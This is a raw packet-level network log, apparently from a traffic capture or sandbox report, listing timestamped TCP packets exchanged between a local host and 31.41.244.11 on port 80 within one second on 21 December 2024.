Dec 21, 2024 10:15:33.644193888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.644283056 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.644306898 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.644356966 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.644973040 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.645030022 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.645070076 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.645133018 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.645817995 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.645875931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.645940065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.646018028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.646676064 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.646730900 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.646768093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.646889925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.647468090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.647578955 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.647599936 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.647681952 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.648293018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.648392916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.648413897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.648493052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.649174929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.649208069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.649226904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.649271011 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.650233030 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.650374889 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.650398016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.650556087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.650971889 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.651128054 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.651202917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.651202917 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.651921988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.651932001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.651985884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.651985884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.652560949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.652674913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.652707100 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.652746916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.653225899 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.653372049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.653399944 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.653542042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.654125929 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.654143095 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.654176950 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.654192924 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.654906988 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.654966116 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.654989004 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.655112982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.655675888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.655724049 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.655855894 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.655961037 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.656651020 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.656742096 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.656765938 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.656824112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.657457113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.657468081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.657516956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.658165932 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.658222914 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.658405066 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.658546925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.659025908 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.659075975 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.659106016 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.659360886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.659877062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.659935951 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.659957886 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.660068035 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.660650015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.660804033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.660830021 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.660909891 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.661465883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.661571026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.661585093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.661809921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.662277937 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.662487984 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.662715912 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.662775040 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.663119078 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.663196087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.663505077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.663678885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.663988113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.664052010 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.664072990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.664185047 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.664841890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.664854050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.664907932 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.665592909 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.665688992 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.665716887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.665760994 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.666409969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.666461945 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.666528940 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.666574001 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.667231083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.667304039 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.667335033 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.667454958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.668140888 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.668207884 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.668237925 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.668283939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.668924093 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.668982029 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.669008017 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.669084072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.669802904 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.669877052 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.669909954 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.669996023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.670573950 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.670629025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.670768976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.670861006 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.671364069 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.671459913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.671535969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.671726942 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.672211885 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.672245979 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.672272921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.672374964 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.672966003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.673038960 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.673120022 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.673187017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.673866034 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.673950911 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.673973083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.674017906 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.674618006 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.674809933 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.674833059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.674951077 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.675481081 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.675546885 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.675554037 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.675594091 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.676285028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.676374912 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.676395893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.676572084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.677083015 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.677160025 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.677386999 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.677463055 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.677896976 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.677974939 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.826776028 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.826875925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.826895952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.827158928 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.827183962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.827303886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.827326059 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.827514887 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.827981949 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.828038931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.828051090 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.828128099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.828794003 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.828819990 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.828843117 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.828855038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.829619884 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.829685926 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.829725981 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.829796076 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.830461979 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.830521107 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.830555916 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.830766916 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.831283092 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.831389904 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.831396103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.831531048 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.832132101 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.832181931 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.832206011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.832295895 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.833060026 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.833133936 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.833153009 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.833204985 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.834000111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.834078074 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.834167957 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.834281921 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.834673882 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.834734917 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.834774017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.834774017 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.835365057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.835530996 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.835555077 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.835629940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.836282969 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.836344957 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.836375952 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.836592913 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.837053061 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.837209940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.837227106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.837285042 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.837882042 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.837948084 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.837970972 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.838036060 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.838737011 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.838803053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.838824987 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.839056969 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.839577913 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.839615107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.839627028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.839884043 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.840311050 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.840357065 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.840392113 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.840435028 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.841172934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.841217995 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.841274023 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.841377020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.841967106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.842005968 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.842030048 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.842216015 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.842796087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.842842102 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.842951059 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.843619108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.843765020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.843799114 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.843911886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.844403982 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.844535112 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.844558001 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.844605923 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.845341921 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.845460892 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.845484018 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.845565081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.846179962 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.846191883 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.846271038 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.846918106 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.846975088 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.847059965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.847172976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.847745895 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.847855091 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.847876072 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.847897053 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.848571062 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.848665953 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.848936081 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.849412918 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.849462032 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.849490881 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.849529982 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.850222111 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.850265980 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.850289106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.850301027 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.851136923 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.851147890 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.851197958 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.851279020 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.851816893 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.851861954 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.851937056 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.852159023 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.852724075 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.852838039 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.852860928 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.852916956 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.853485107 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.853563070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.853594065 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.853650093 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.854283094 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.854368925 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.854393005 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.854453087 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.855118036 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.855237961 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.855268955 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.855329990 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.856010914 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.856067896 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.856076956 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.856337070 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.856756926 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.856844902 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.856864929 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.856889009 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.857605934 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.857652903 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.857683897 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.857745886 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.858411074 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.858570099 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.858596087 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.858647108 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.859275103 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.859342098 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.859361887 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.860022068 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.860084057 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.860155106 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.860227108 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.860559940 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.861051083 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.861071110 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.861103058 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.861155987 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.861709118 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.861759901 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.861876965 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.861985922 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.862565041 CET	80	49808	31.41.244.11	192.168.2.4
Dec 21, 2024 10:15:33.862622976 CET	49808	80	192.168.2.4	31.41.244.11
Dec 21, 2024 10:15:33.862644911 CET	80	49808	31.41.244.11	192.168.2.4
